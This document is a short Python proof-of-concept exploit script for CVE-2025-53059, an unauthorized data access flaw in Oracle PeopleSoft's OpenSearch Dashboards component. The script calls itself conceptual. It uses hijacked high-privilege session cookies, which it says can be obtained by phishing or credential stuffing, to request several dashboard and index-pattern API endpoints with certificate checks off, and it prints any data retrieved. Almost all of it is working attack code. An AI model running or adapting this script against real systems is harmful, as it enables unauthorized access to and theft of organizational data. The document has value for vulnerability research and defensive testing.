CVE-2025-53059

# CVE-2025-53059 - Oracle PeopleSoft PeopleTools OpenSearch Dashboards Unauthorized Data Access # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires valid high-privileged credentials import requests import json # Target configuration TARGET_URL = "https://target-peoplesoft-host:8443" DASHBOARDS_ENDPOINT = "/psc/site/cmd/OpenSearchDashboards" # Attacker must possess high-privileged credentials # (e.g., obtained via phishing, credential stuffing, or insider threat) SESSION_COOKIES = { "PS_TOKEN": "<high_privileged_session_token>", "PS_LOGINLIST": "<login_context>" } def exploit_unauthorized_data_access(target_url, cookies): """ Exploit unauthorized data access in OpenSearch Dashboards component. The vulnerability allows high-privileged users to access data beyond their normal authorization scope. """ headers = { "User-Agent": "Mozilla/5.0 (compatible; OraclePeopleSoft/8.62)", "Accept": "application/json", "Content-Type": "application/json" } # Step 1: Access the OpenSearch Dashboards component session = requests.Session() session.cookies.update(cookies) # Step 2: Send crafted request to access restricted dashboards/data # The component fails to properly validate authorization scope exploit_endpoints = [ f"{target_url}/OpenSearchDashboards/api/dashboards/all", f"{target_url}/OpenSearchDashboards/api/index_patterns", f"{target_url}/OpenSearchDashboards/api/saved_objects/_find?type=index-pattern&per_page=100", f"{target_url}/OpenSearchDashboards/app/dashboards#/view/all" ] for endpoint in exploit_endpoints: try: response = session.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") # Extract sensitive data from response data = response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text print(f"[+] Data retrieved: {json.dumps(data, indent=2)[:500]}...") return data except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-53059 PoC - Oracle PeopleSoft OpenSearch Dashboards") print("[*] Requires high-privileged credentials to exploit") result = exploit_unauthorized_data_access(TARGET_URL, SESSION_COOKIES) if result: print("[+] Exploitation successful - sensitive data extracted") else: print("[-] Exploitation failed")

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